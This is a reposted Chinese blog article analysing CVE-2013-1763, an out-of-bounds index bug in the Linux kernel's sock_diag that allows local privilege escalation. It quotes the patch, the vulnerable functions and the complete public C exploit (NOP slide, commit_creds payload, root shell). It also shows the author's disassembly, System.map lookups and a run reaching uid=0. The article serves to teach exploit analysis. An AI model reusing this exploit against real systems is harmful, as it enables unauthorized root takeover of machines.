zoukankan      html  css  js  c++  java
  • 一则利用内核漏洞获取root权限的案例【转】

    转自:https://blog.csdn.net/u014089131/article/details/73933649

    kernel 最近出了一个新的本地提权安全漏洞CVE-2013-1763,影响范围比较广泛,ubuntu,Arch,fedora都受到其影响,漏洞刚公布就有牛人发布了利用该漏洞获取root权限的攻击代码,下面会分析该代码是如何获取root权限的。

    首先对CVE-2013-1763这个安全漏洞简单介绍一下。

    1. 漏洞描述

    在net/core/sock_diag.c中,__sock_diag_rcv_msg函数未对sock_diag_handlers数组传入的下标做边界检查,导致可能越界,进而导致可执行代码的漏洞。没有root权限的用户可以利用该漏洞获取到root权限。

    2. 漏洞的影响范围

    linux kernel 3.0-3.7.10

    3. 漏洞曝光时间

    2013/02/19

    4. 漏洞产生的原因

    首先看一下这个漏洞的patch:

    [cpp] view plain copy
     
    1. net/core/sock_diag.c View file @ 6e601a5  
    2. @@ -121,6 +121,9 @@ static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)  
    3.    if (nlmsg_len(nlh) < sizeof(*req))  
    4.      return -EINVAL;  
    5.    
    6. +  if (req->sdiag_family >= AF_MAX)  
    7. +    return -EINVAL;  
    8. +  
    9.    hndl = sock_diag_lock_handler(req->sdiag_family);  
    10.    if (hndl == NULL)  
    11.      err = -ENOENT;  

    Patch 很简单,只是加上了数组边界判断而已。那么在看看sock_diag_lock_hander这个函数做了些什么:
    [cpp] view plain copy
     
    1. static const inline struct sock_diag_handler *sock_diag_lock_handler(int family)  
    2. {  
    3.         if (sock_diag_handlers[family] == NULL)  
    4.                 request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,  
    5.                                 NETLINK_SOCK_DIAG, family);  
    6.   
    7.         mutex_lock(&sock_diag_table_mutex);  
    8.         return sock_diag_handlers[family];//这个函数没有对传入的family的值的范围,进行验证,从而造成数组越界.  
    9. }  

    这个函数也没有做什么,只是对 sock_diag_lock_hander[family]进行检测,是否为NULL,如果为NULL申请注册,然后加上了一把锁,最后返回的是它的地址。
    [cpp] view plain copy
     
    1. static struct sock_diag_handler *sock_diag_handlers[AF_MAX];  //可以看出,这个指针数组最大为AF_MAX AF_MAX = 40.  
    接着我们再看看完整的__sock_diag_rcv_msg函数。
    [cpp] view plain copy
     
    1. static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)  
    2. {  
    3.     int err;  
    4.     struct sock_diag_req *req = NLMSG_DATA(nlh);  
    5.     struct sock_diag_handler *hndl;  
    6.   
    7.     if (nlmsg_len(nlh) < sizeof(*req))  
    8.         return -EINVAL;  
    9.   
    10.     hndl = sock_diag_lock_handler(req->sdiag_family);//这里传入sdiag_family的值,然后返回数组指针sock_diag_handlers[reg->sdiag_family].由于没有做边界判断,那么就可以越界。  
    11.     if (hndl == NULL)  
    12.         err = -ENOENT;  
    13.     else  
    14.         err = hndl->dump(skb, nlh); //看到这里是不是很激动呢,利用这里可以让它执行我们自己的代码  
    15.     sock_diag_unlock_handler(hndl);  
    16.     return err;  
    17. }  

    5. 漏洞的利用

    虽然已经找到了kernel中有这样一个漏洞,但是如何利用这个漏洞来执行我们自己的程序,取得root权限还是需要很困难的,需要对kernel系统以及计算机运行原理非常了解才可以,并且这些程序往往需要精细设计才能达到最终的目的。 下面是某牛人写的exploit代码,请欣赏:

    [cpp] view plain copy
     
    1. /*  
    2. * quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8 
    3. * bug found by Spender 
    4. * poc by SynQ 
    5. *  
    6. * hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux 
    7. * using nl_table->hash.rehash_time, index 81 
    8. *  
    9. * Fedora 18 support added 
    10. *  
    11. * 2/2013 
    12. */  
    13.   
    14. #include <unistd.h>  
    15. #include <sys/socket.h>  
    16. #include <linux/netlink.h>  
    17. #include <netinet/tcp.h>  
    18. #include <errno.h>  
    19. #include <linux/if.h>  
    20. #include <linux/filter.h>  
    21. #include <string.h>  
    22. #include <stdio.h>  
    23. #include <stdlib.h>  
    24. #include <linux/sock_diag.h>  
    25. #include <linux/inet_diag.h>  
    26. #include <linux/unix_diag.h>  
    27. #include <sys/mman.h>  
    28.   
    29. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);  
    30. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);  
    31. _commit_creds commit_creds;  
    32. _prepare_kernel_cred prepare_kernel_cred;  
    33. unsigned long sock_diag_handlers, nl_table;  
    34.   
    35. int __attribute__((regparm(3)))    //这是指示GCC编译器选用3个寄存器代替堆栈来传递参数。  
    36. kernel_code()  
    37. {  
    38.     commit_creds(prepare_kernel_cred(0));  //这行代码执行之后就可以获取root权限,但是这两个函数都是内核函数,必须在内核态执行才有效。  
    39.     return -1;  
    40. }  
    41.   
    42. //这段函数没有使用,用来解释hard code jump[] 为什么是那些数值  
    43. int jump_payload_not_used(void *skb, void *nlh)  
    44. {  
    45.     asm volatile (  
    46.         "mov $kernel_code, %eax "  
    47.         "call *%eax "  
    48.     );  
    49. }  
    50.   
    51. unsigned long  
    52. get_symbol(char *name)  //为了获取内核函数地址  
    53. {  
    54.     FILE *f;  
    55.     unsigned long addr;  
    56.     char dummy, sym[512];  
    57.     int ret = 0;  
    58.    
    59.     f = fopen("/proc/kallsyms", "r");  
    60.     if (!f) {  
    61.         return 0;  
    62.     }  
    63.    
    64.     while (ret != EOF) {  
    65.         ret = fscanf(f, "%p %c %s ", (void **) &addr, &dummy, sym);  
    66.         if (ret == 0) {  
    67.             fscanf(f, "%s ", sym);  
    68.             continue;  
    69.         }  
    70.         if (!strcmp(name, sym)) {  
    71.             printf("[+] resolved symbol %s to %p ", name, (void *) addr);  
    72.             fclose(f);  
    73.             return addr;  
    74.         }  
    75.     }  
    76.     fclose(f);  
    77.    
    78.     return 0;  
    79. }  
    80.   
    81. int main(int argc, char*argv[])  
    82. {  
    83.     int fd;  
    84.     unsigned family;  
    85.     struct {  
    86.         struct nlmsghdr nlh;  //socket协议netlink数据包的格式  
    87.         struct unix_diag_req r;  
    88.     } req;  
    89.     char    buf[8192];  
    90.   
    91.     //创建一个netlink协议的socket,因为__sock_diag_rcv_msg函数是属于NETLINK_SOCK_DIAG的  
    92.     if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){  
    93.         printf("Can't create sock diag socket ");  
    94.         return -1;  
    95.     }  
    96.   
    97.     //填充数据包,就是为了最终能够执行到__sock_diag_rcv_msg中去  
    98.     memset(&req, 0, sizeof(req));  
    99.     req.nlh.nlmsg_len = sizeof(req);  
    100.     req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;  
    101.     req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;  
    102.     req.nlh.nlmsg_seq = 123456;  
    103.   
    104.     //req.r.sdiag_family = 89;  
    105.     req.r.udiag_states = -1;  
    106.     req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;  
    107.   
    108.     if(argc==1){  
    109.         printf("Run: %s Fedora|Ubuntu ",argv[0]);  
    110.         return 0;  
    111.     }  
    112.     else if(strcmp(argv[1],"Fedora")==0){  
    113.       commit_creds = (_commit_creds) get_symbol("commit_creds");  
    114.       prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");  
    115.       sock_diag_handlers = get_symbol("sock_diag_handlers");  
    116.       nl_table = get_symbol("nl_table");  
    117.         
    118.       if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){  
    119.         printf("some symbols are not available! ");  
    120.         exit(1);  
    121.         }  
    122.   
    123.       family = (nl_table - sock_diag_handlers) / 4;  
    124.       printf("family=%d ",family);  
    125.       req.r.sdiag_family = family;  
    126.         
    127.       if(family>255){  
    128.         printf("nl_table is too far! ");  
    129.         exit(1);  
    130.         }  
    131.     }  
    132.     else if(strcmp(argv[1],"Ubuntu")==0){  
    133.       commit_creds = (_commit_creds) 0xc106bc60;  
    134.       prepare_kernel_cred = (_prepare_kernel_cred) 0xc106bea0;  
    135.       req.r.sdiag_family = 81;  
    136.     }  
    137.   
    138.     unsigned long mmap_start, mmap_size;  
    139.     mmap_start = 0x10000;  //选择了一块1MB多的内存区域  
    140.     mmap_size = 0x120000;    
    141.     printf("mmapping at 0x%lx, size = 0x%lx ", mmap_start, mmap_size);  
    142.   
    143.         if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,  
    144.                 MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {  
    145.                 printf("mmap fault ");  
    146.                 exit(1);  
    147.         }  
    148.     memset((void*)mmap_start, 0x90, mmap_size);         //将其全部填充为0x90,在X86系统中对应的是NOP指令  
    149.   
    150.     char jump[] = "x55x89xe5xb8x11x11x11x11xffxd0x5dxc3"; // jump_payload in asm  
    151.     unsigned long *asd = &jump[4];  
    152.     *asd = (unsigned long)kernel_code; //使用kernel_code函数的地址替换掉jump[]中的0x11  
    153.   
    154.     //将jump这段代码放在mmap内存区域的最后,也就是说只要最后能够跳转到这块区域,就可以执行到jump代码,进而跳转执行kernel_code,因为这块区域中布满了NOP指令。  
    155.     memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));  
    156.   
    157.     //所有准备工作完成之后,最后在这里发送socket触发这个漏洞  
    158.     if ( send(fd, &req, sizeof(req), 0) < 0) {  
    159.         printf("bad send ");  
    160.         close(fd);  
    161.         return -1;  
    162.     }  
    163.   
    164.     printf("uid=%d, euid=%d ",getuid(), geteuid() );  
    165.   
    166.     if(!getuid())  
    167.         system("/bin/sh");  
    168. }  

    6. exploit代码分析

    在分析之前,有些概念要澄清一下,在linux系统中,用户空间和内核空间是独立存在的。在一个32位的linux系统中,每个进程会虚拟出4G的内存空间,其中3G是用户空间,1G是内核空间,用户空间的地址范围是0×00000000 到 0xBFFFFFFF,内核空间的地址是0xC0000000 到 0xFFFFFFFF。内核地址空间由所有进程共享,但只有运行在内核态的进程才能访问,用户进程可以通过系统调用切换到内核态访问内核空间,进程运行在内核态时所产生的地址都属于内核空间。

    commit_creds 和prepare_kernel_cred 均为内核函数,如果要执行他们就应该切换到内核状态运行。当执行内核函数__sock_diag_rcv_msg是处于内核态的,所以这个时候调用执行kernel_code函数就可以取得root权限。

    那么如何调用kernel_code函数呢?所有我们mmap了一块从0x10000开始0x120000大小的内存空间,然后将这块空间写满NOP指令,将跳转执行kernel_code的代码放在这块区域的最后面,也就是说,只要跳转执行到这块内存区域的(除了jump代码块内部)都会顺利跑到kernel_code函数。这种方法叫做NOP slide,就像坐滑滑梯一样,自然滑到底部。jump这一段代码的分析如下:

    [cpp] view plain copy
     
    1. char jump[] = "x55x89xe5xb8x11x11x11x11xffxd0x5dxc3"; // jump_payload in asm  
    2.     unsigned long *asd = &jump[4];  
    3.     *asd = (unsigned long)kernel_code;  
    4.   
    5. int jump_payload_not_used(void *skb, void *nlh)  
    6. {  
    7.     asm volatile (  
    8.         "mov $kernel_code, %eax "  
    9.         "call *%eax "  
    10.     );  
    11. }  
    12.   
    13. fengguoqing@VirtualBox:~/Downloads$ gcc CVE-2013-1763.c  
    14. CVE-2013-1763.c: In function ‘main’:  
    15. CVE-2013-1763.c:148:26: warning: initialization from incompatible pointer type [enabled by default]  
    16. fengguoqing@VirtualBox:~/Downloads$ objdump -D a.out  
    17. ….  
    18. 08048763 <jump_payload_not_used>:  
    19.  8048763:   55                      push   %ebp  
    20.  8048764:   89 e5                   mov    %esp,%ebp  
    21.  8048766:   b8 3c 87 04 08          mov    $0x804873c,%eax  
    22.  804876b:   ff d0                   call   *%eax  
    23.  804876d:   5d                      pop    %ebp  
    24.  804876e:   c3                      ret     
    25. ….  
    26.   
    27. (gdb) p/x jump  
    28. $2 = {0x55, 0x89, 0xe5, 0xb8, 0x3c, 0x87, 0x4, 0x8, 0xff, 0xd0, 0x5d, 0xc3, 0x0} //最后发现0x11被填充成了kernel_code的地址  
    29. (gdb) p kernel_code  
    30. $4 = {int ()} 0x804873c <kernel_code>  

    问题的关键变成了如何才能跳转到这一块内存区域呢?先看看下面这结构体的定义:
    [cpp] view plain copy
     
    1. struct nlmsghdr {  
    2.       __u32       nlmsg_len;  /* Length of message including header */  
    3.       __u16       nlmsg_type; /* Message content */  
    4.       __u16       nlmsg_flags;    /* Additional flags */  
    5.       __u32       nlmsg_seq;  /* Sequence number */  
    6.       __u32       nlmsg_pid;  /* Sending process port ID */  
    7.   };  
    8.   
    9.   struct unix_diag_req {  
    10.       __u8    sdiag_family;  
    11.       __u8    sdiag_protocol;  
    12.       __u16   pad;  
    13.       __u32   udiag_states;  
    14.       __u32   udiag_ino;  
    15.       __u32   udiag_show;  
    16.       __u32   udiag_cookie[2];  
    17.   };  
    18.   
    19. struct sock_diag_handler {  
    20.         __u8 family;//  
    21.         int (*dump)(struct sk_buff *skb, struct nlmsghdr *nlh);  
    22. };  
    23.   
    24.  struct netlink_table {  
    25.          struct nl_portid_hash   hash; //取回这个值  
    26.          struct hlist_head       mc_list;  
    27.          struct listeners __rcu  *listeners;  
    28.          unsigned int            flags;  
    29.          unsigned int            groups;  
    30.          struct mutex            *cb_mutex;  
    31.          struct module           *module;  
    32.          void                    (*bind)(int group);  
    33.          int                     registered;  
    34.  };  
    35.   
    36.  struct nl_portid_hash {  
    37.          struct hlist_head       *table; 四个字节  
    38.          unsigned long           rehash_time; //也是四个字节.0x00012b59//这个值在我们的那个范围内.  
    39.    
    40.          unsigned int            mask;  
    41.          unsigned int            shift;  
    42.    
    43.          unsigned int            entries;  
    44.          unsigned int            max_shift;  
    45.    
    46.          u32                     rnd;  
    47.  };  
    48.   
    49. static struct netlink_table *nl_table;  


    我们的牛人发现了nl_table里面有一个变量rehash_time的值正好在0x10000-0x130000这个区域内,所以可以利用这个值来跳转,只需要将sock_diag_handlers[sdiag_family]-dump正好落在这个值上就可以了。如下图所示

    所以我们需要先知道nl_table和sock_diag_handlers的地址,可以通过以下两种方式查看。

    [cpp] view plain copy
     
    1. cat /proc/kallsyms  
    2. sudo cat /boot/System.map-3.2.0-43-generic-pae  

    但是在ubuntu系统中前一种方法无法查看到变量函数的地址,所以只有使用第二种方法了,由于 nl_table和sock_diag_handlers都是指针,所以他们的大小都是4个字节。于是就可以计算出 sdiag_family的取值了。
    [cpp] view plain copy
     
    1. fengguoqing@VirtualBox:~$ sudo cat /boot/System.map-3.5.0-17-generic |grep nl_table  
    2. c189b5c0 d nl_table_lock  
    3. c189b5c4 d nl_table_wait  
    4. c1a488e0 b nl_table_users  
    5. c1a488e4 b nl_table  
    6. fengguoqing@VirtualBox:~$ sudo cat /boot/System.map-3.5.0-17-generic |grep sock_diag_handlers  
    7. c1a487a0 b sock_diag_handlers  
    8. (0xc1a488e4 - 0xc1a487a0) / 4 = 81L  

    至此所有的谜题都解开了,然后就可以高高兴兴的黑自己一把了:
    [cpp] view plain copy
     
    1. fengguoqing@VirtualBox:~/Downloads$ gcc -o CVE-2013-1763 CVE-2013-1763.c  
    2. CVE-2013-1763.c: In function ‘main’:  
    3. CVE-2013-1763.c:148:26: warning: initialization from incompatible pointer type [enabled by default]  
    4. fengguoqing@VirtualBox:~/Downloads$ id  
    5. uid=1000(fengguoqing) gid=1000(fengguoqing) groups=1000(fengguoqing),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare)  
    6. fengguoqing@VirtualBox:~/Downloads$ ./CVE-2013-1763 Ubuntu  
    7. mmapping at 0x10000, size = 0x120000  
    8. uid=0, euid=0  
    9. # id  
    10. uid=0(root) gid=0(root) groups=0(root)  
    11. #  
    由于在sock_diag_lock_handler中有mutex_lock(&sock_diag_table_mutex),但是我们在后面将程序引入到其他地方,并没有接着执行 mutex_unlock(&sock_diag_table_mutex),所以按道理只能root成功一次,但是我在测试中发现有时候可以root多次,有时候root一次之后就不能再root了,需要重启才可以重新root。

    转载: https://my.oschina.net/fgq611/blog/156089

  • 相关阅读:
    Python实战:网络爬虫都能干什么?
    写了个脚本将json换成md
    RAC +MVVM
    Python 基础指令以及库管理工具pipenv
    CocoaPods创建自己的公开库、私有库
    python脚本解析json文件
    iOS 面试题
    路由器 大杂烩
    大数据挖掘基本概念
    Node.js实践
  • 原文地址:https://www.cnblogs.com/sky-heaven/p/8906930.html
Copyright © 2011-2022 走看看